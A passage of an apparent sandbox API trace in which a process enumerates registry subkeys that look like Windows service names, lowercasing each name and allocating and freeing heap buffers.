hKey=0x154, dwIndex=0xc, lpName=0x1dd29e0, cchName=0x104 | out: lpName="adpahci") returned 0x0 [0251.095] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0251.095] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0251.095] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0251.095] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x1de4450, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpahci", lpUsedDefaultChar=0x0) returned 7 [0251.095] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0251.095] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0251.095] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0251.095] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0251.095] RegEnumKeyW (in: hKey=0x154, dwIndex=0xd, lpName=0x1dd29e0, cchName=0x104 | out: lpName="adpu320") returned 0x0 [0251.095] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0251.095] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0251.095] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0251.095] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x1de4768, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpu320", lpUsedDefaultChar=0x0) returned 7 [0251.095] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0251.095] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0251.095] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0251.095] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0251.095] RegEnumKeyW (in: hKey=0x154, dwIndex=0xe, lpName=0x1dd29e0, cchName=0x104 | out: lpName="adsi") returned 0x0 [0251.096] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0251.096] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0251.096] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0251.096] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x1de4450, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adsi", lpUsedDefaultChar=0x0) returned 4 [0251.096] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0251.096] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0251.096] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0251.096] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0251.096] RegEnumKeyW (in: hKey=0x154, dwIndex=0xf, lpName=0x1dd29e0, cchName=0x104 | out: lpName="AeLookupSvc") returned 0x0 [0251.096] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0251.096] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0251.096] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0251.096] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x1de4768, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aelookupsvc", lpUsedDefaultChar=0x0) returned 11 [0251.096] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0251.096] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0251.096] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0251.096] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0251.096] RegEnumKeyW (in: hKey=0x154, dwIndex=0x10, lpName=0x1dd29e0, cchName=0x104 | out: lpName="AFD") returned 0x0 [0251.096] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0251.096] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0251.096] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0251.096] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x1de4450, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="afd", lpUsedDefaultChar=0x0) returned 3 [0251.096] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0251.096] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0251.096] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0251.096] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0251.096] RegEnumKeyW (in: hKey=0x154, dwIndex=0x11, lpName=0x1dd29e0, cchName=0x104 | out: lpName="agp440") returned 0x0 [0251.096] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0251.096] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0251.096] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0251.096] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x1de4768, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="agp440", lpUsedDefaultChar=0x0) returned 6 [0251.096] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0251.097] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0251.097] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0251.097] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0251.097] RegEnumKeyW (in: hKey=0x154, dwIndex=0x12, lpName=0x1dd29e0, cchName=0x104 | out: lpName="ALG") returned 0x0 [0251.097] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0251.097] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0251.097] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0251.097] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x1de4450, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0251.097] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0251.097] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0251.097] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0251.097] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0251.097] RegEnumKeyW (in: hKey=0x154, dwIndex=0x13, lpName=0x1dd29e0, cchName=0x104 | out: lpName="aliide") returned 0x0 [0251.097] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0251.097] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0251.097] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0251.097] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x1de4768, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aliide", lpUsedDefaultChar=0x0) returned 6 [0251.097] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0251.097] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0251.097] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0251.097] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0251.097] RegEnumKeyW (in: hKey=0x154, dwIndex=0x14, lpName=0x1dd29e0, cchName=0x104 | out: lpName="amdide") returned 0x0 [0251.097] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0251.097] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0251.097] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0251.097] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x1de4450, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdide", lpUsedDefaultChar=0x0) returned 6 [0251.097] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0251.097] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0251.097] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0251.097] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0251.097] RegEnumKeyW (in: hKey=0x154, dwIndex=0x15, lpName=0x1dd29e0, cchName=0x104 | out: lpName="AmdK8") returned 0x0 [0251.097] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0251.097] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0251.097] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0251.098] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x1de4768, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdk8", lpUsedDefaultChar=0x0) returned 5 [0251.098] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0251.098] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0251.098] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0251.098] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0251.098] RegEnumKeyW (in: hKey=0x154, dwIndex=0x16, lpName=0x1dd29e0, cchName=0x104 | out: lpName="AmdPPM") returned 0x0 [0251.098] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0251.098] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0251.098] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0251.098] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x1de4450, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdppm", lpUsedDefaultChar=0x0) returned 6 [0251.098] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0251.098] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0251.098] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0251.098] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0251.098] RegEnumKeyW (in: hKey=0x154, dwIndex=0x17, lpName=0x1dd29e0, cchName=0x104 | out: lpName="amdsata") returned 0x0 [0251.098] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0251.098] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0251.098] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0251.098] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x1de4768, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsata", lpUsedDefaultChar=0x0) returned 7 [0251.098] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0251.098] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0251.098] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0251.098] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0251.098] RegEnumKeyW (in: hKey=0x154, dwIndex=0x18, lpName=0x1dd29e0, cchName=0x104 | out: lpName="amdsbs") returned 0x0 [0251.098] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0251.098] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0251.098] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0251.098] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x1de4450, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsbs", lpUsedDefaultChar=0x0) returned 6 [0251.098] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0251.098] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0251.098] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0251.098] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0251.098] RegEnumKeyW (in: hKey=0x154, dwIndex=0x19, lpName=0x1dd29e0, cchName=0x104 | out: lpName="amdxata") returned 0x0 [0251.099] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0251.099] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0251.099] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0251.099] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x1de4768, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdxata", lpUsedDefaultChar=0x0) returned 7 [0251.099] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0251.099] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0251.099] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0251.099] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0251.099] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1a, lpName=0x1dd29e0, cchName=0x104 | out: lpName="AppID") returned 0x0 [0251.099] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0251.099] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0251.099] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0251.099] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x1de4450, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appid", lpUsedDefaultChar=0x0) returned 5 [0251.099] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0251.099] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0251.099] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0251.099] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0251.099] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1b, lpName=0x1dd29e0, cchName=0x104 | out: lpName="AppIDSvc") returned 0x0 [0251.099] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0251.099] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0251.099] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0251.099] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x1de4768, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appidsvc", lpUsedDefaultChar=0x0) returned 8 [0251.099] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0251.099] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0251.099] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0251.099] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0251.099] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1c, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Appinfo") returned 0x0 [0251.099] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0251.099] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0251.099] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0251.099] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x1de4450, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appinfo", lpUsedDefaultChar=0x0) returned 7 [0251.099] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0251.099] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0251.100] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0251.100] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0251.100] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1d, lpName=0x1dd29e0, cchName=0x104 | out: lpName="AppMgmt") returned 0x0 [0251.100] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0251.100] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0251.100] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0251.100] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x1de4768, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appmgmt", lpUsedDefaultChar=0x0) returned 7 [0251.100] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0251.100] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0251.100] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0251.100] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0251.100] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1e, lpName=0x1dd29e0, cchName=0x104 | out: lpName="arc") returned 0x0 [0251.100] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0251.100] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0251.100] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0251.100] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x1de4450, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arc", lpUsedDefaultChar=0x0) returned 3 [0251.100] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0251.100] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0251.100] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0251.100] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0251.100] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1f, lpName=0x1dd29e0, cchName=0x104 | out: lpName="arcsas") returned 0x0 [0251.100] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0251.100] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0251.100] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0251.100] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x1de4768, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arcsas", lpUsedDefaultChar=0x0) returned 6 [0251.100] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0251.100] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0251.100] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0251.100] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0251.100] RegEnumKeyW (in: hKey=0x154, dwIndex=0x20, lpName=0x1dd29e0, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0251.100] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0251.100] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0251.100] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0251.101] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x1de4450, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0251.101] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0251.101] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0251.101] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0251.101] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0251.101] RegEnumKeyW (in: hKey=0x154, dwIndex=0x21, lpName=0x1dd29e0, 